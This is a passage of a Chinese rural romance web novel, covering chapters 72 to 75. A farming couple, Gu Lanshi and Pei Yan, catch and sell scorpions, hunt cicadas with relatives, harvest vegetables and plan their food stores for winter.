随后他端起木盆在灶房案上将叶子切成三节,绿茎切成片,又端出来铺在竹席上晒。 如今晒的各种野菜干都装了不少,最多的马齿菜有整整一口袋了,家里种的菜也晒了些菜干子,但没有野菜那么多。 等前面大菜地里的菜长成后,到时才是晒菜干的大头。 喂鸡吃的老叶子也洗了一遍,他双手抱起,到后院剁碎了丢进鸡圈和猪圈里。 再出来看一眼门外,裴厌没有回来。 想起缸里的水只剩一小半,他拿起靠在墙上的扁担和两个空桶,带上钥匙锁好门到河边挑水。 “汪!” 大黑看见他叫了一声,随后又哼哼唧唧摇尾巴。 鸭子好好在水里游着,顾兰时笑着摸摸它毛茸茸的脑袋,大黑尾巴摇的更欢。 顾兰时拍拍狗头说道:“你好好看着,我挑几趟水。” 也不知道大黑听懂没有,但只要鸭子在河里,它就不会乱跑。 一个人挑满水,又干几件别的活,正准备拎上两人换下的草鞋去河边洗洗,不然缝隙里夹着泥屑太脏了。 他顺手往怀里揣几颗野澡珠,又拿起棒槌,好将野澡珠捣碎了再捶打草鞋,如此就能洗干净。 正要出门,就看见篱笆门前有人影,裴厌回来了。 顾兰时放下手里的东西,情不自禁露出笑脸,他快步迎出去,在石子路当中接过裴厌身侧的单绳筐,问道:“渴不渴?先喝点水歇歇。” 裴厌把手里的小瓦罐递给他,笑道:“半斤香麻油,天热,先吃着,吃完了再去打,等天冷后多买点回来放着。” 瓦罐一提起来,顾兰时就闻到一缕香油味道,果然香气醇厚,他一边往院里走一边问:“多钱?” 裴厌说道:“如今便宜了些,半斤三十五文。” 顾兰时点点头:“确实,去年初冬时我爹去买,八十文一斤,比油盐都贵。” 乡下人偶尔打一点,也是二三两左右,舍不得多买,他俩因卖蝎子,一高兴就想多买点。 顾兰时进灶房先放香油罐,又连忙舀水,说:“先洗洗,米糕我放桌上了,盖了块干净手帕,吃点垫垫。” 裴厌放下竹筐,从筐子里拿出好几个油纸包,放在地上排开,说:“治蝎毒的药粉纸包上点了黑墨,这包点红漆的是拔蛇毒的药,都是磨好的药粉,大夫说了,毒蛇多,或许毒性不一,敷上去可暂时缓解毒性,延缓一二,不至于急发。” 他指着余下两大包说:“这两包,是配好的驱蛇虫药,用滚水烫了搅成稠状,涂在门窗木头上,蛇虫就不敢靠近,药性渗进去,多则半年少则三两月,都有效用。” 知道顾兰时怕蛇虫,山上遇到不可避免,家里还是防范些为好,他们住的这里离山近,不比村子那边。 果然,顾兰时眼睛亮了一瞬,点着头笑道:“好,我等会儿就弄。” 裴厌将药包都放在灶房窗沿上,这才过来洗手,因为太高兴,迫不及待说:“蝎子一共十一斤,一斤八十文,这些药一共是一百二十文,算好后我让药材铺给了七钱碎银和六十个铜板,还有买香麻油的钱,余下二十五文,在怀里呢。” 他说完,起身擦手,抬高胳膊示意从他怀里取。 “这么多。”顾兰时满心喜悦,从他怀里掏出荷包,没忍住直接打开看,还摸出两小块碎银在手里掂掂,乐得见牙不见眼,说:“一下子就挣了七钱。” 裴厌见他欢喜,自己也高兴,说道:“趁夏天还有一段时日,正是捉毒蝎的时候,天天去钱就来了,你要觉得累,我自己去就行。” “累倒是不累,有时我晌午还眯一会儿呢,不过今晚我和狗儿说好,同他还有兰兴去林子里点火引金蝉,他特地问了你,让你也去呢。” 顾兰时小心把碎银子放回荷包,抬头笑道:“我跟他说你今晚也去,就当玩耍,弄点金蝉,明天养一养吐脏,后天我给你炒着吃。” 裴厌想了想,耽误一天也没什么,于是点头道:“好,那今晚就不上山了。” 他俩一起往堂屋走,顾兰时笑意盈盈,说:“之前咱们攒下六两三钱,加上这七钱,恰好凑足七两整钱。” 裴厌也露出个笑容,开口道:“挣着挣着就有了。” “嗯。”顾兰时认真点头,看到了回报,挣钱的劲头自然难以消减。 “你坐下歇歇,茶是方才泡好的,应该还没凉。”他叮嘱着,先进屋去放钱。 裴厌坐下喝水吃米糕,这时才发现大黑不在院里,没有看家,开口问道:“狗出去了?” 顾兰时一边开箱子一边说:“我喊它去放鸭子,在河边守着呢。” 他放好钱出来笑道:“刚才我正要出门去洗鞋,顺便看看它们怎么样,不想你回来了。” 他过来帮裴厌续了茶水,又说:“早上我在家里拿了六个鸡蛋,娘腌了咸鸭蛋给咱们拿了两个,都煮熟了,过两天再吃,今天先蒸鸡蛋羹。” 裴厌很少会指明要吃什么,也从不挑剔,无论顾兰时做什么饭,只管吃就好了,偶尔菜没炒好也从不说嘴,照样吃个底朝天。 得了钱,顾兰时很高兴,笑眯眯同裴厌说两句闲话,原本还觉得天热有点疲乏,这会儿简直一扫而光,精神头那叫一个足,惦记着河边鸭子,兴高采烈拎了草鞋去洗。 大黑很机警,在河水里泡着也一直留神鸭子的走向,岸边偶尔有人靠近,它猛地站起来低吼。 附近都是小河村的人,自打裴厌出了名后,连它也“小有名气”,快走到附近的人一看疯狗这般模样,都小心翼翼退走,不敢接近,生怕倒霉被狗咬。 顾兰时过来后,它才恢复了温顺的模样。 * 一缕青烟飘起,伴随着饭菜熟后的香气,又渐渐逸散。 裴厌打了猪草进门。 顾兰时用布巾垫着碗走出来,看见他笑道:“闻着味儿回来了?” 裴厌露出个笑容。 顾兰时往堂屋走,说道:“蛋羹蒸好了,香油也淋上了,既然回来了,快洗手,趁热先吃这个。” 香麻油的味道很浓郁,裴厌早闻到了,快速洗了手,坐下前说:“刚才我碰到李梅了,和他娘还有弟弟在林子里用竹竿粘金蝉。” 顾兰时用勺子将蛋羹划成一块一块,好叫香油透进去,碗里的蛋羹蒸的正好,又嫩又滑,闻言说道:“这会儿林子里人少,没人同他们争,估计是得了空,弄点回去吃也好,他家素日里不大吃肉。” 粘金蝉也不难,找根长长的竹竿,弄点树胶在顶上,见着树上有金蝉,悄摸摸靠近,用树胶一下子粘到蝉翼上,金蝉就飞不了了,只能任人携取。 顾兰时划好后把碗推过去,眉眼带笑说:“傍晚狗儿估计就来树林了,咱们先在林子里试试,要是不多,往山坡上走,不过在山里点火需得谨慎,尝尝,看味道怎么样,盐我也放了。” 裴厌用勺子舀了一块蛋羹,像是嫩豆腐,他尝一口,又滑又软,比想象中的还要好吃,他将碗推过去,笑着说:“好吃,咸淡正好。” 这是他第一次吃鸡蛋羹,但没有贪心多吃,也没表露出来。 以前只见过叶金蓉给裴虎子蒸,他曾经想过蛋羹吃起来应该是什么味道,如今终于吃到,或许因为是自己夫郎做的,远比裴虎子那碗更香。 顾兰时接过碗和勺子,说:“好,我也尝尝。” 让来让去没意思,他接连吃了一小半又推过去,笑道:“我吃好了,你吃,我去端饭。” 没给对方说话的机会,他起身就往灶房走。 裴厌盯着蛋羹看了几眼,这才端起来认真吃,连一点渣子都没剩下。 放下碗时干干净净的,惹来顾兰时一声轻笑,打趣道:“碗都不用洗了。” 裴厌虽没言语,但满心都是喜悦。 第73章 夕阳渐渐落下去,晚霞满天,河水晃起微波,倒映出一池红霞。 穿着短褂打赤脚的农人牵牛从河边慢悠悠往家去,牛儿甩着尾巴,斜长影子映在地上。 水波和霞光交汇融合,不刺眼,意外的好看。 顾兰时举着点好的火把站在篱笆门前瞧了一眼,便有点出神。 “走吧。”裴厌锁好门,从他手里接过一支火把,他神思这才归拢。 两人往西边树林走,连十几步都没有,就听见顾兰瑜的喊声。 “我等了一会儿不见人,果然,你们才出来。”顾兰瑜同样点好了火把,背了个单绳小篓子,按着昨晚同他交代的,削了一双长长的树枝筷子,省得徒手抓被蝎子蛰了。 “兰兴呢?”顾兰时问道。 顾兰瑜一下子笑了,说:“在那边等着呢,他怕有狗,不敢过来。” 昨晚他们几个连同竹哥儿一起,在林子里点火引金蝉,拢一堆火烧起来,不是用脚踹树就是用长竹竿在树上拍打,金蝉受惊从树上飞离,见着有火光的地方扑过来,就便宜了他们。 林子里常有人来捉,他们也没贪心,弄了些够吃的,各自分一分就回家了,因为好奇捉蝎子的事,顾兰瑜问了不少话,又听他俩说今晚还去山里,便动了心思。 知道他想去玩,顾兰时没藏着掖着,喊他一起去,顾兰兴也是皮实的性子,听了免不了也心动。 只有竹哥儿畏惧毒虫的厉害,不敢和他们去。 裴厌对此没什么异议,晚上进山人多一点也好,一入夜山林黝黑寂静,他自己不怕,顾兰时嘴上说不怕,但心里就不一定了,多个人说说话,起码心里更踏实。 顾兰兴在山坡下等着,时不时踢一脚地上的土块石头,见他们三人过来,挠着头笑一下,喊道:“兰哥哥,厌哥。” 他和裴厌不太熟,不过这个年纪正是虎的时候,因素日好打架的脾性,面对裴厌时,他心中一开始还有畏惧,慢慢说了两句话后,便显出初生牛犊不怕虎的憨劲,一口一个厌哥。 顾兰时见他愿意和裴厌说话,脚下悄悄慢了些,落在后面几步,和狗儿走在一起。 也不知为何,听见顾兰兴喊厌哥,他总觉得像是外面那些混子无赖喊头头的语气。 顾兰兴也着实像是有些敬重裴厌,他看得发笑,抿了抿唇将笑憋在嘴里没出声。 自己这个堂弟从小就有点一根筋,有时会同一些野小子打架惹事,幸而他二伯二娘管得严,不让和乱七八糟的人厮混。 也幸好顾兰兴如今大了一点,家里人时常提点喝令,没养成游手好闲的性子,这一二年也慢慢懂事,知道利害了,不再与那些愣头愣脑的来往。 正走着,碰见有人下山,顾兰时看一眼,认出是村头许柱子,便喊了声柱子叔。 许柱子挑了一担柴,手里拎了只半死不活的野兔子,偶尔蹬一下腿,他哼了几句山歌,显然心情很好,瞧见裴厌后,也只是不哼歌了,下意识攥紧手里的野兔子。 顾兰瑜笑着说:“柱子叔,打到兔子了。” “哈哈,运气好运气好。”许柱子显然很受用,只是嘴上依旧客套,说:“不过是碰见个跑得慢的,也不知是晕了头还是怎么,我看见它在跟前草里,也没带家伙,生怕跑了,急得用手里一根树枝去打,正好抽在脑袋上,它就晕了。” 他往顾兰兴这边走,没敢和裴厌擦肩而过,到几人跟前后特意提起手里的兔子让看。 顾兰瑜说道:“还挺肥。” 许柱子那叫一个高兴,上山打柴还能逮着个野味回去打牙祭,运气好又有口福,炫耀过后他心满意足,问道:“这么晚了,怎么还上山?” 他说着,见几人背着有盖的竹篓,还有长筷子,便笑道:“是去捉毒虫?” 也就夏天夜里能抓这个了,不然谁会晚上上山。 “正是。”顾兰瑜点头道,这事根本瞒不过,支支吾吾遮掩反倒不爽快,还惹人猜忌。 “别贪多,天晚了就快些回去。”许柱子叮嘱道,说着便先下了山,又回头说:“路上谨慎些。” “知道了叔。”顾兰瑜答应着,几人又往前走。 “厌哥,我四叔说了,你打鸟的本事可准了,一弹弓一个,改天也教教我。”顾兰兴对这个堂哥夫其实一直都很好奇,长得高,又是打架好手,这会儿越叫越顺口。 顾兰时觉得他有点像缠着大孩子玩的小孩子,果然没怎么长大,还是小时候那个样子,那时总爱跟在狗儿屁股后面喊哥哥。 他这般热情,话也不停,裴厌停顿一下,随后点头:“可以,这个不难,等空闲了教你。” “我也跟你们来。”顾兰瑜对这样的事同样有兴致,说道:“厌哥,你可不能只教他。” “放心吧,还能少了你。”顾兰时在旁边说道,他挺高兴的,裴厌性子偏冷些,话也少,有人找他玩也算开解开解。 “嗯。”裴厌在前面应和他的话,又看看前面的路,就往前天去过的那条土沟走。 顾兰兴和顾兰瑜路上还叽里呱啦的,明显有点激动。 等到了地方,走下斜坡之后,看着裴厌扒拉开的石头缝里有一窝蝎子,石头翻开后蝎子受惊,要么往旁边逃窜,要么竖起有毒针的尾巴做威胁状。 不是没见过蝎子,一个两个还好,突然看见这么多,两人俱是有点怯上,龇牙咧嘴你看看我我看看你,都没先动手。 “哥,你先。”顾兰兴撺掇着顾兰瑜打头阵。 狗儿翻个白眼,将火把往前举了举,示意给他照亮,说:“你来,刚才不是说你胆子最大,蛇虫都不怕,岂能怕这个。” 裴厌看惯了这些,在他俩谦让的时候早拿了长筷在手里,胳膊一伸一夹一个准。 这会儿天还没彻底黑,不过土沟底下暗一点,顾兰时手里拿了两支火把,边照边看蝎子都往哪里跑了。 “怕什么,手里不是有筷子,还能夹着你俩?”顾兰时最近跟着裴厌胆子练大了一点,笑骂道:“路上说得震天响,怎么这会儿一个比一个胆小?” 顾兰瑜摸摸鼻子,将手里火把递给顾兰兴,说道:“拿着。” “好。”顾兰兴立马接过,帮着在旁边照亮,瞅见一只大蝎子慌不择路逃跑,他咋咋呼呼喊道:“快快!在那儿,哥,你快捉啊!” 顾兰瑜一开始还有点手忙脚乱,好在不负所望,将这只逮住了,夹到后举起来,一脸得意让顾兰兴看。 顾兰兴正要往前凑一凑,不曾想自己这个好堂哥手突然往前一戳,吓得他一激灵,一下子蹦得老高,往旁边躲窜,生怕被蝎子蛰了。 见他姿势滑稽,狗儿哈哈大笑,这才不慌不忙把蝎子塞进竹篓里,仔细扣好盖子。 顾兰兴拍拍心口,缓过来后才虎目圆睁,嚷嚷着不行不行,这么大的人了,竟欺负小的,他一定要回去告诉四叔四婶。 顾兰瑜嫌他吵,笑着骂道:“行了行了,哪有这么多狗屁倒灶的事去告状,来,火把给我,你也试试怎么抓,再嚷下去,蝎子都能给你吓跑。” 顾兰兴抽出别在后腰带上的长树枝,看准一只蝎子迅速夹住,十分顺利,脸上便也有些得意,他有点想吓唬回去,可没机会,他狗儿哥明显防着他,只得在心里叹息一声作罢。 顾兰时朝裴厌使个眼色,两人往旁边去抓蝎子,没搭理他俩,从小就是这样,这两个野小子凑到一起比谁都闹腾,小时候玩急眼了还打过架。 裴厌听那边两人一边翻石头一边你抱怨我我抱怨你,石头底下有蝎子爬出来又咋咋呼呼的,没忍住笑了下。 他夹住一只蝎子,起身后用力拍拍竹篓盖子和篓身,爬上来的蝎子自然被打落,随后才快速打开盖将蝎子塞进去,又飞快扣上,一气呵成。 顾兰时见他笑了,也露出笑脸,小声说:“他俩就这样,不用理会。” “嗯。”裴厌也学着他低声答应,没让那边听见。 等手下熟悉了后,顾兰瑜和顾兰兴渐渐正色,专心抓毒蝎,这东西一斤八十文呢,好不容易来一趟,弄上两斤回去才是正事。 他俩不如裴厌那样熟练,没把竹篓背在身上,生怕扣盖子来不及,蝎子爬出来怎么办,就放在地上。 天色黑了之后,他二人也学着顾兰时裴厌,一个打火把一个抓蝎子,抓一会儿就换换人。 抓了大半篓后,裴厌抬头看看天色,土沟两边有山崖树木遮挡,能看到的天狭长而窄。 没看到月亮,连星星也稀疏,被阴云遮蔽,他开口道:“天色不好,捉这些足够了,要是明日还想来,只管过来就是。” 顾兰时顺着他的话也看一眼天,赞同道:“确实不好,还是快些下山,夜色也深了。” 他俩自己倒是不怕,只是带了两个小的,万一下雨困在山里,不好和家里交代。 “行。”顾兰瑜答应着,将夹到的蝎子塞进竹篓里,随后眼疾手快扣紧盖子。 确定没有缝隙后,他才拎起竹篓将绳子挂在肩上,接过顾兰兴手里的火把,说:“把篓子仔细扣上。” 几人收拾妥当后,便一个接一个从土坡上去。 穿过山林时,偶尔能听到几声厉啸,不知是什么大鸟。 顾兰兴抬头张望,除了他们手里的火把,到处黑漆漆的,一阵冷风吹来,他上山前没添衣裳,冻得口中轻嘶一声。 “怎么,冷了?”顾兰时问道。 “有点。”顾兰兴开口,随即又笑了,拍拍自己腰侧的竹篓,说:“冷倒不怕,抓了这些,明儿一早就去卖。” 见他心热,顾兰时笑笑,说:“你俩捉了多少,能掂出来吗?” 狗儿拎一下自己的篓子,说道:“估计有个一二斤,明天称一称就行了。” 顾兰兴说道:“我也差不多,等明天我俩一起去卖,要是有四斤就发了。” 他俩上山前都商量好了,互相给打火把,一起捉一起卖钱,得了钱对分就行,不必说别的话。 “厌哥,你明天去不去?”顾兰兴问道。 裴厌开口:“我再攒几天,不着急。” “这东西好养?”顾兰兴好奇询问。 裴厌说道:“嗯,不难,放柴房别总是惊动,喂些地龙就好,别的小虫子也吃,蛐蛐蚂蚱都行。” 进山不深,边走边说话到了前面山坡,从山坡下分开时,顾兰时严肃道:“快回去,直奔家门,都不许贪玩,不然明天给我知道了,非打一顿不可。” 顾兰瑜早比他长得高了,闻言笑了声,完全不像小时候一听要挨打就害怕。 见顾兰时瞪过来,到底有点威慑在,他立马满口答应:“知道了,绝不乱跑,我又不是小孩玩不够,这话哥你该同兰兴说。” 顾兰兴不服,跟着他往村子方向走,说:“怎么就该和我说,我虽比你小一岁,但也不是小猴崽子了,兰哥哥分明是同你叮咛,你非赖我头上。” “都别给我犟嘴,乖乖回去,不然……”顾兰时想了一下,看见在旁边笑的裴厌,一下子来了底气,说:“不然我让你厌哥揍你俩。” 果然,这话十分好使,顾兰兴立马闭嘴,不再絮叨嚷嚷了。 他比狗儿小一岁,和裴厌也就今晚说了些话,哪里敢触霉头。 见堂弟这般,顾兰瑜边走边憋笑,从小一起长大的,他知道顾兰时不过是吓唬他,再说了,裴厌也不像是会打小舅子的人。 第74章 昨晚天色就不好,早上醒来后果然是个阴天,天上阴云较重,也起了风。 夜里比前两天凉快,加之地里的活不是很要紧,他俩多睡了一会儿,起床比平时晚。 一时看不出来会不会下雨,浇菜地和柴豆地的事暂且放一放。 窗扇被吹的胡乱作响,顾兰时在屋里找布头,听见动静大了,过去关好窗户插上销子,见窗户外裴厌在院里劈柴,心想风还挺大,关窗都费劲。 他找了几块零碎的布头,拿了针线往西屋走。 西屋炕上铺着竹席,是裴厌和他一起编的,手艺不太好,但足够用了。 竹席边沿处有点没收好边,卷成一卷抱出去时,偶尔会刺到,有些扎手,还是把扎人的地方用布包起来为好。 他坐在炕沿缝布,院里劈柴的声音听得一清二楚,天一阴,早上又多睡了一会儿,显得其他活都没那么要紧了。 收完线尾巴,他剪短麻线,看一眼放在西屋的各种麻袋,有装麦粒稻谷豆子的,还有装各种菜干和野菜干山货的。 夏天还是多晴天,趁今天不干别的,又不热,上山多挖两趟竹笋,等天晴了晒成笋干放着,心里才踏实。 别看如今攒了一些,一旦入了冬,再想找吃的就难了,若开春晚,过冬的粮吃完,容易续接不上。 村里每年都有人家在刚开春时饿肚子,那个时节连野菜都只发出芽儿,更别说地里的庄稼还没到收获的时候。 要是有富余的亲戚还能借一二度日,可乡下人哪儿来那么多余粮,自家吃用还紧巴巴的,少有人敢把一家子口粮借出去。 借不到就得到处挖草根果腹,连树皮都扒着吃。 缝完针线后,顾兰时没有立即起身离开,而是掰着手指算了一下,若从寒月算起,十月、十一月、腊月、一月、二月、三月,足足六个月,到四月份时野菜繁茂,才算不愁吃的。 不过十月有时候不会那么冷,还有十月小阳春的说法呢,菘菜萝卜要是种的迟一点,那会儿才长成呢。 照这么算,应该备足五个月的口粮,过冬就安稳了。 以前在家里他从不操心这个,只管跟着爹娘干活就好,如今自己成了家,头一年过冬,不免有些忧心。 他拿起针线剪子往外走,朝院里喊一声:“裴厌。” 裴厌停下手里的活,转过头询问:“怎么?” 顾兰时说道:“趁这会儿有空,上山多砍些笋子,改明儿天气好了多晒点笋干。” “好,我收拾收拾。”裴厌说着,顺手把墩子上放好的一根木柴劈开。 两人背上竹筐,一个拿柴刀一个拿小锄头,锁了院门顺着石子路往外走。 两边菜地如今越发绿了,半大的菜蔬长势不错,丝瓜菜瓜这边都已经插上竹竿搭了架,藤蔓自会顺着竹竿往上爬。 大黑跟着他俩一路走到篱笆门,知道要上锁,它没有出去,站在门里摇摇尾巴。 裴厌锁上篱笆门,将钥匙揣好,同顾兰时一起往西边山坡走。 一旦开始干活,心里就变得踏实,不再那么忧心忡忡,顾兰时这会儿又笑了,说:“没太阳就是好,干活不晒。” “嗯。”裴厌赞同道。 最近林子里每天有人来,都走出路径了,两人下意识顺着土路往前,没有走野草丛生的地方。 看见旁边有马齿菜,顾兰时说:“下午挖点野菜,挑嫩的,咱们蒸野菜馍馍吃。” 裴厌点点头:“行。” 他看一眼高处枝头飞过的鸟儿,说:“顺便打两只山雀,碰到野鸡更好。” “差点忘了这个。”顾兰时笑眯眯的,边走边朝地上看,想给他找些趁手的小石子打弹弓使。 沿路捡了几个,两人就往山坡上走,他把石子递过去,裴厌立即张开手掌接住。 山风凉爽,洗去好几天的炎热,顾兰时长舒一口气,只觉舒坦,说:“夏天虽然热,可又有知了牛、金蝉吃,又能吃到野鸡山雀,还是挺好的。” 听他这么说,裴厌心里才有点踏实,起码顾兰时跟着他没有饿肚子,他倒是想起另一件事,问道:“想不想吃鱼?” 山里土里的东西吃了,水里的也不能缺。 不知是苦夏还是最近跟着他晚上去捉毒虫太累,他总觉得顾兰时瘦了,起码,比成亲前要瘦一点,夜里抱着的时候就能摸出来身上肉不多。 顾兰时想了一下,笑道:“要有工夫去捉,那就吃。” 裴厌说道:“离河边又不远,腾出手我下午去叉两条。” 他俩日子过得不算差,没饿肚子,但也不算太好,手里的钱和米粮都得精打细算,不能大手大脚,成日里琢磨的可不就是怎么吃好点。 一路上了山,碰见好几个同样来找山货的村里人,问候两句也就散开。 到竹林后顾兰时放下竹筐,拿了锄头开始挖笋子,这片竹林的笋子口感稍差,但胜在笋子大一点,切成片焯水后能多晒一些。 犯懒很难把日子过好,尤其他们乡下人,没别的本事,只能靠山吃山,在土里地里刨着吃。 两人手下都很利索,裴厌背的竹筐大,装满后沉甸甸的,幸而他力气本就大,一点不见为难。 顾兰时干活的劲也挺大,背回家一趟后,觉得不累,又和裴厌上去挖了一回,跑了两趟,背回家后竹笋在堂屋墙角里堆了好大一堆。 不止有笋子,还有一只竹鸡和两只大山雀,大黑跟进堂屋,在地上禽鸟的尸体旁边不断嗅闻。 “去。”裴厌见它有张嘴啃咬的迹象,一声轻喝将它赶出去。 大黑尾巴有点夹着,出去后在院里转几圈,依旧惦记肉吃,不断朝堂屋张望。 “我烧水做饭,等烧开了,你先舀一盆烫毛。”顾兰时喝两口水,差不多到饭时了,跑了两趟山肚里也饥饿,说完便往灶房走。 “你先点火,我去抱柴。”裴厌跟在他后面说道,顺手拎起三只鸟放在灶房门口。 大黑畏惧裴厌,再馋都没敢偷鸡吃,只在旁边滴口水。 等顾兰时做好饭,裴厌把竹鸡和山雀都拾掇干净了,内脏掏出来后,头尾和心肺肝扔给狗吃,肠子一类的脏物并不多,不值得费事清洗打理,便丢掉了。 饭后,天依旧阴着,少了夏日那种燥热,人也能精神点。 顾兰时在家洗碗筷煮猪食喂鸡鸭,裴厌拎起鱼篓和之前削好的叉鱼木棍出了门。 猪食煮好舀出来,趁晾温的工夫,顾兰时提着大竹篮出去掐野菜,马齿菜有的长老了,他只挑嫩的一截掐下来。 掐了一篮子后,见离河边不远,他起身正要去找找裴厌,不想还没走几步,就看见不远处人过来了。 “这么快。”他在原地等着,笑着朝那边喊。 裴厌拍拍腰间鱼篓,边走边说:“抓了三条,足够这两天吃了。” “够了够了。”顾兰时答应一声,等人到跟前后一起往家里走。 裴厌看了一会儿天色,远处放白了,没有阴云,于是说道:“不像要下雨的样子,过会儿去地里看看,要是地干就得浇水。” “好。”顾兰时点头道,先一步上去开锁。 进门后两人又各忙各的,一个喂猪扫圈,夏天每天要铲两三次粪,是不能懈怠的活,另一个杀鱼刮鳞,掏出来的鱼脏剁碎了喂给鸡鸭。 在家里忙完,地里的活还等着,忙忙碌碌重复,即便如此,裴厌也没忘了晚上去捉毒虫。 * 申时过半,太阳被云遮住,总算没那么晒了。 裴厌去卖蝎子,顾兰时在家喂完牲口,他一个人有些无聊,心想这几天忙得都没看见他爹娘,干脆锁了门回娘家闲转。 树林里有人在挖野菜,他没放在心上,还想着怎么没看出来是谁,到跟前再喊人不迟。 谁知走近了一看却是形容枯槁衰败的叶金蓉,明明比他娘还小几岁,这会儿瞧着竟有几分苍老,头发都夹白了。 这模样与从前实在不同,连他自己都恍然大悟,怪不得没认出来。 顾兰时没言语,默不作声从旁边过去。 快走出树林时,他没忍住回头看了一眼,叶金蓉依旧蹲在那里,低着头挖野菜,再没以前的利索和厉害,瞧着有几分可怜。 他心下烦恼起来,觉得自己为对方感到可怜实在不合时宜。 裴厌平时是不爱说话,可相处这么久了,有时候睡觉前两人说说话,聊着聊着就问到以前的事。 裴厌没有瞒着,他问一句答一句,从只言片语中得出小时候的裴厌过得一点都不好,而源头就是那对狠心爹娘。 叶金蓉这会儿老了可怜了,可当初怎么就不知道心软一点,心又狠又毒,也不知道为了什么这么恨亲儿子。 一想到裴厌小时候吃不饱饭还要挨打,脸上那条疤那么深,也都是两口子作弄出来的,他立马清醒过来,对叶金蓉再无半分同情。 尤其那条疤,他心中十分惋惜,裴厌其实长得很好看,要不是被长疤破了相,不至于以前村里人提起来的时候都说长得狰狞丑恶。 “兰时哥哥。” 刚进院门还没瞅见人呢,就听见竹哥儿喊他,顾兰时定睛一看,原是在葫芦架下。 “来得正好,这几个葫芦你拿回去炒菜。”竹哥儿一边摘葫芦一边说。 见着弟弟后,顾兰时心情好了些,笑道:“行,娘不在?” 竹哥儿站在凳子上,见他走过来,把手里的一个葫芦瓜递下去,说:“在呢,在隔壁桂花婶子家串门,我刚才还听见娘在隔壁笑。” 顾兰时把葫芦放在篮子里,说道:“我路过时没往里面看。” 正说着,他娘和刘桂花的大笑声从隔壁院子里传来,也不知是讲了什么笑话。 他心想自己只是回家闲转,就没喊他娘回来,只和竹哥儿说说话干干活,倒也自在,没一会儿又回去了。 傍晚,饭做好了,顾兰时正打算出门张望,就听见大黑汪汪叫,一看是裴厌回来了,他笑着迎上去,接过两个空竹筐,问道:“饿不饿?” 裴厌很高兴,从怀里拿出小荷包,说:“正好十斤,一共卖了八钱,都在里边了。” 这回什么都没买,八钱自然一文不少。 顾兰时接过荷包,高兴得都不知道要说什么才好,开口道:“抓毒虫虽险,却比别的赚钱。” “可不是。”裴厌露出个笑容,说:“再卖两三回,就能去买毛驴了。” “嗯。”顾兰时重重点头,说道:“今晚咱们再去。” “好。”裴厌答应着,见他这么高兴,没忍住摸了摸自己夫郎脑袋。 第75章 不知不觉,夏末来临,金蝉踪迹渐渐变少,蝎子又卖了三回。 一个夏天过去,大菜地越发繁茂,开花的开花,长高的长高,其中春菜和蒿菜长得最快,已经能吃了。 裴厌最近白天没有出去做工,和顾兰时一起该浇地浇地,该上肥上肥,锄草更是不偷懒,将菜蔬侍弄得很好,一看就水灵灵的。 蒿菜和春菜各种了四块地方,拿春菜来说,一块地种了六行,一行十一二棵,满总算起来,只这一茬收成就有两百多棵。 从开始拔嫩春菜吃的时候起,顾兰时只要一看见绿汪汪的四块地就忍不住高兴,他两人根本吃不完这么多,挖出来洗干净晒成菜干,也给家里送去不少。 橘红朝阳如鸡蛋黄鸭蛋黄一样,从东边天际破云而出,很快染红天边云彩。 早起凉快,顾兰时已经在菜地里忙碌,石子路旁边的板车上堆了半车春菜,他弯腰一棵棵拔春菜,抖抖根茎处的泥土,随后放在田垄上。 裴厌自己拔了一堆,抱着往板车上放,又过来将他这堆抱走。 忙起来顾不上说话,他俩一鼓作气,把剩下三块地的春菜都拔出来,堆积放在板车上。 “放不下,行了,再拉一遍,不着急。”裴厌说着,把手里两棵菜放在最顶上,脸上笑意不断。 “好。”顾兰时拍拍手上泥土,见裴厌拉起板车往院里走,自己在后面跟着,车一颠簸,有两棵春菜掉下来,他连忙过去捡。 这些春菜他俩不打算卖,趁这几天天好,全都晒成菜干子。 用板车拉回院子,比用竹筐一趟趟背快多了。 拉了两回把春菜全部运进来,裴厌去河边挑水,顾兰时在院里洗菜。 正忙着,忽然听见大黑冲着外面叫,一边叫一边往外走,他抬头一看,篱笆门前有人影,是他再熟悉不过的人。 “阿奶。”顾兰时笑着喊一声,起身喝止大黑吠叫。 方红花往里面走,离得这么远还喊道:“兰哥儿,我在外边看看,你忙你的。” 小老太太这么早过来,刚好赶上,顾兰时取了个大篮子,往里头横着放了四棵春菜。 忙了一夏,终于到了收获的时节,方红花一边走一边看,心里直高兴。 前两天他们兰哥儿和姑爷给她去送菜,好家伙,用板车拉的,三十多棵春菜和四大筐鲜嫩嫩的蒿菜,那叫一个显眼。 当然那些菜不止给她一个人,顾兰时想的很周到,三个伯伯都有,伯伯家里分出去的堂兄弟也没忘,还有别的亲戚,最少都给了两棵春菜一大把蒿菜,碰见村里有相熟的婶子叔伯路过,也都让着,给抓了把蒿菜。 这两样菜虽常见,可白得一顿菜吃,哪有人不乐意的。 俗话说得好,吃人嘴短拿人手软,这不,这几天村里不少人都夸上了顾兰时。 他们嘴里,连裴厌都变得亲切起来,不再是活阎王、鬼见愁这样的诨号,成了“厌小子”。 只是吃了人家一点菜,就仿佛他们和裴厌有多熟悉一样。 方红花不用下地干活,每天都和几个老太太老夫郎在一起做做针线说闲话,那几个人也得了顾兰时的好处,常常在她面前夸,她这几天可谓神清气爽,看啥人都顺眼许多。 她一进门,没搭理过来闻她的大黑,只顾问道:“兰哥儿,怎么全都拔了,是要去卖?” 顾兰时给她拿了椅子让坐下,又倒了一碗茶端来,笑道:“这些我俩商量好了,今年先不卖,晒成菜干子,留着好过冬。” 他又坐下洗菜,说:“原本不想一次拔完的,可眼瞅着时节又迟了,前几天就该种萝卜和菘菜,趁早拔完好种这两样。” 方红花点点头,是呢,秋萝卜秋菘菜该种了,长一个秋天刚好成熟。 顾兰时又拿起一棵春菜,摘掉老叶子在旁边扔成一小堆,笑着说:“今年菜地刚开出来,种菜没赶上最好的时令,都有点晚,等明年就摆顺了。” 方红花十分赞同,开口道:“这话有理,地大,以后得多费心。” “可不是,这绿菜叶子都娇气,不过不止我一个人,还有裴厌呢,肯定能种好。”顾兰时一点都不担心,种菜对他们俩来说不是什么难事,只要天公作美,勤快些就好。 方红花闲不住,见这么大一堆菜都要洗,便把茶碗放在灶房窗沿上,帮着一起洗。 顾兰时客套了两句,见她坚持,就不再推辞,多个人也快呢,自己阿奶瞎客气什么。 见裴厌挑了水回来,方红花脸上笑意更甚,她虽厉害泼辣,但笑起来十分慈祥。 “阿奶。”裴厌先喊了人,这才去倒水,见盆里的洗菜水脏了,不用顾兰时吩咐,端起来往外走,倒在了刚拔完的菜地里。 这两天就要种菘菜萝卜,泥土湿润一点好让种子发芽。 